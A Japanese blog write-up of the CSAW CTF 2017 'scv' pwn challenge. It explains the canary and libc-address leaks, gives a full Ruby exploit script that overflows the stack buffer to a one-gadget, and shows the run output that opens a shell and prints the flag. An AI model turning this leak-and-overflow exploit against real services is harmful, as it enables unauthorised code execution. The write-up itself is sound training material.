Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

CSAW CTF 2017 scv (pwn100)

下調べ

  • x86-64でdynamically linked,strippedなバイナリ
  • CanaryとNx bitが有効

100点問題なことからCanaryは破れそうな気がした

解析

  • コマンド1でデータ入力ができ.
    • ここでCanaryの末尾1byteとかを潰したりできる
  • コマンド2で入力されているデータを出力する
    • Canaryの末尾1byteを潰しておけばリーク可能
  • コマンド3で安全にreturnしてmain関数がおわる

exploit

解析結果よりコマンド1や2で,Canaryや__libc_start_main等をリークしてあげる.その後,BOFってone-gadgetに飛ばすペイロードを作成しコマンド1で流し込んであげて,コマンド3で発火.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'
require 'fsalib'
require 'libclib'
include Shellcode

host = 'localhost'
port = 8888
libc = Libc.new('/lib/x86_64-linux-gnu/libc.so.6')

if(ARGV[0] == 'r')
  host = 'pwn.chal.csaw.io'
  port = 3764
  libc = Libc.new('./libc-2.23.so')
end

def feed(t, data)
  t.sendline("1")
  t.recv_until(">>")
  t.send(data)
  t.recv_until(">>")
end

def review(t)
  t.sendline("2")
  return t.recv_until(">>")
end

def bye(t)
  t.sendline("3")
  t.recv_until("\n")
end

PwnTube.open(host, port) do |t|
  # t.debug = true

  t.recv_until(">>")

  # leak canary
  feed(t, "A" * 169)
  res = review(t)
  canary = u64("\x00" + res.split("A" * 169)[1][0,7])[0]
  puts "[!] Leak canary 0x%x" % canary

  # leak libc base from __libc_start_main's offset
  feed(t, "A" * 184)
  res = review(t)
  libc_start_main_addr = u64(res.split("A" * 184)[1][0,6] + "\x00\x00")[0] - 240
  libc_base = libc_start_main_addr - libc.symbol('__libc_start_main')
  puts "[!] libc_start_main 0x%x" % libc_start_main_addr
  puts "[!] libc base 0x%x" % libc_base
  
  payload = "A" * 168
  payload << p64(canary)
  payload << "GOMIGOMI" # bss
  payload << p64(libc_base + 0xf1117)
  feed(t, payload)
  
  bye(t)
  
  t.shell
end

以下実行画面

[*] connected
[!] Leak canary 0xdc3feb774271fb00
[!] libc_start_main 0x7f2d1228c740
[!] libc base 0x7f2d1226c000
[*] waiting for shell...
[*] interactive mode
cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}